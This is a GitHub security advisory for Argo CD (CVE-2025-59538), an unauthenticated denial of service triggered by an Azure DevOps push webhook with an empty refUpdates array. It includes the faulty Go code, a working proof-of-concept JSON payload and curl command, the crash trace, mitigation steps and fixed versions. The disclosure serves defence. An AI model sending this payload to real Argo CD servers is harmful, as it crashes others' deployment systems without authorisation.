Advisory

GHSA-gpx4-37g2-c8pv

Also known as: BIT-argo-cd-2025-59538, CVE-2025-59538, GO-2025-3995

Summary

Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook

Details

Summary

In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

Details

case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

PoC

payload-azure-empty.json:

{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}

curl call:

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json

Observed crash:

panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...

Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>

For more information

Credits

Discovered by Jakub Ciolek at AlphaSense.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2025-09-30 18:32 UTC
Modified
2025-10-23 20:29 UTC

Affected packages and fixes

github.com/argoproj/argo-cd/v2

Go · All systems

Affected

  • introduced 2.9.0-rc1, fixed 2.14.20 (semver)

Fixed versions

2.14.20

Fix

github.com/argoproj/argo-cd/v3

Go · All systems

Affected

  • introduced 3.2.0-rc1, fixed 3.2.0-rc2 (semver)

Fixed versions

3.2.0-rc2

Fix

github.com/argoproj/argo-cd/v3

Go · All systems

Affected

  • introduced 3.1.0-rc1, fixed 3.1.8 (semver)

Fixed versions

3.1.8

Fix

github.com/argoproj/argo-cd/v3

Go · All systems

Affected

  • introduced 3.0.0-rc1, fixed 3.0.19 (semver)

Fixed versions

3.0.19

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences